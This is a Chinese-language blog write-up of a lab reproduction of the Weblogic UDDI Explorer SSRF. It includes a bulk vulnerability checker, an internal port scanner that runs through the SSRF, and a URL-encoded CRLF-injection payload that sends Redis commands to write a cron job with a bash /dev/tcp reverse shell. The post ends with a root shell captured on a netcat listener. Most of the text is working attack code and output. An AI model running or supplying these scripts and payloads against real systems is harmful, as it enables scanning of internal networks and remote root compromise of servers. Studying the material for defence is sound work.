Weblogic复现之ssrf

前言

今天复现weblogic中的ssrf漏洞,以前也没学过ssrf,所以趁着这个机会再把ssrf学习一下。

ssrf

介绍

SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)。

漏洞原理

SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

SSRF利用存在缺陷的Web应用作为代理攻击远程和本地的服务器。

主要攻击方式如下:

  • 对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息
  • 攻击运行在内网或本地的应用程序
  • 对内网web应用进行指纹识别,识别企业内部的资产信息
  • 攻击内外网的web应用,主要是使用HTTP GET请求就可以实现的攻击(比如struts2,SQli等)
  • 利用file协议读取本地文件等

weblogic之ssrf

环境搭建

复现攻击

  1. 漏洞检测

    检测脚本:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    #!/usr/bin/env python  
    # -*- coding: utf-8 -*-
    import re
    import sys
    import Queue
    import requests
    import threading
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    queue = Queue.Queue()
    mutex = threading.Lock()
    class Test(threading.Thread):
    def __init__(self, queue):
    threading.Thread.__init__(self)
    self.queue = queue
    def check(self,domain,ip):
    payload = "uddiexplorer/SearchPublicRegistries.jsp?operator={ip}&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".format(ip=ip)
    url = domain + payload
    try:
    html = requests.get(url=url, timeout=15, verify=False).content
    m = re.search('weblogic.uddi.client.structures.exception.XML_SoapException',html)
    if m:
    mutex.acquire()
    with open('ssrf1.txt','a+') as f:
    print "%s has weblogic ssrf." % domain
    f.write("%s has weblogic ssrf." % domain)
    mutex.release()
    except Exception,e:
    print e
    def get_registry(self,domain):
    payload = 'uddiexplorer/SetupUDDIExplorer.jsp'
    url = domain + payload
    try:
    html = requests.get(url=url, timeout=15, verify=False).content
    m = re.search('<i>For example: (.*?)/uddi/uddilistener.*?</i>',html)
    if m:
    return m.group(1)
    except Exception,e:
    print e
    def run(self):
    while not self.queue.empty():
    domain = self.queue.get()
    mutex.acquire()
    print domain
    mutex.release()
    ip = self.get_registry(domain)
    self.check(domain,ip)
    self.queue.task_done()
    if __name__ == '__main__':
    with open('domain.txt','r') as f:
    lines = f.readlines()
    for line in lines:
    queue.put(line.strip())
    for x in xrange(1,50):
    t = Test(queue)
    t.setDaemon(True)
    t.start()
    queue.join()

    检测结果:

    1
    2
    3
    root@kali:~/桌面# python check_weblogic_ssrf.py 
    http://192.168.220.141:7001/
    http://192.168.220.141:7001/ has weblogic ssrf.
  2. 手工进行简单检测,在漏洞地址处,点击Search按钮,返回:“An error has occurred”,可从漏洞页面下的“Setup UDDI Explorer”处发现内网地址:

    据说实际环境中该处可能会暴露内网地址
    我们可以根据返回的不同状态信息,来判断内网的IP是否存在以及对应端口是否开放。

    1
    2
    3
    4
    内网网段:
    10.0.0.0 ~ 10.255.255.255,
    172.16.0.0 ~ 172.31.255.255
    192.168.0.0 ~ 192.168.255.255

    这里有一个地方需要注意的是,需要知道目标内网网段。如果盲目的去进行网段扫描会耗费大量的时间。
    一个简单的内网服务嗅探:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    import thread
    import time
    import re
    import requests
    def ite_ip(ip):
    for i in range(1, 256):
    final_ip = '{ip}.{i}'.format(ip=ip, i=i)
    print final_ip
    thread.start_new_thread(scan, (final_ip,))
    time.sleep(2)
    def scan(final_ip):
    ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
    for port in ports:
    vul_url = 'http://172.20.10.13:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
    try:
    #print vul_url
    r = requests.get(vul_url, timeout=15, verify=False)
    result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
    result2 = re.findall('but could not connect', r.content)
    result3 = re.findall('No route to host', r.content)
    if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
    print '[!]'+final_ip + ':' + port
    except Exception, e:
    pass
    if __name__ == '__main__':
    ip = "172.21.0"
    if ip:
    print ip
    ite_ip(ip)
    else:
    print "no ip"

    结果:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    root@kali:~/桌面# python ip_detect.py 
    172.20.0
    172.20.0.1
    [!]172.20.0.1:7001
    172.20.0.2
    [!]172.20.0.2:6379
    172.20.0.3
    [!]172.20.0.3:7001
    172.20.0.4
    172.20.0.5

    这里我们检测出了一个Redis服务(6379)

  3. 利用Redis反弹shell

    在前面的探测,我们已经知道了目标系统内网地址存活状态,并发现了一个6379端口主机,根据经验,该端口下的服务是Redis数据库。

    下面我们尝试“利用注入HTTP头,来让Redis反弹shell”:

    • Weblogic的SSRF,在使用GET请求时,可以通过“%0a%0d”(\r\n,换行符),来注入换行符。
    • 某些服务(如Redis)是通过换行符来分隔每条命令
    • 因此可以通过该SSRF攻击内网中的Redis服务器

    ① 发送三条Redis命令,将反弹shell脚本写入/etc/crontab:

    1
    2
    3
    4
    5
    6
    set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/7089 0>&1\n\n\n\n"
    config set dir /etc/
    config set dbfilename crontab
    save
    ##/etc/crontab 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab
    ##/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。

    将命令写成:

    1
    set 1 "\n\n\n\n* * * * root bash -i >& /dev/tcp/xx.xx.xx.xx[这里是你自己的公网IP]/8888[这里是你监听的端口] 0>&1\n\n\n\n" config set dir /etc/config set dbfilename crontab save

    ② 因为是GET,进行url编码,同时我们还要制定一个要写入的文件test,换行为%0A%0D

    payload:

    1
    /uddiexplorer/SearchPublicRegistries.jsp?operator=http://172.20.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.220.133%2F7089%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa&rdoSearch=name&txtSearchname=&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

    ③ 在192.168.220.133主机上监听端口8888

    1
    2
    3
    4
    5
    6
    root@kali:~# nc -l -p 8888
    bash: no job control in this shell
    [root@76807fba28bc ~]# whoami
    whoami
    root
    [root@76807fba28bc ~]#

    反弹shell成功!!!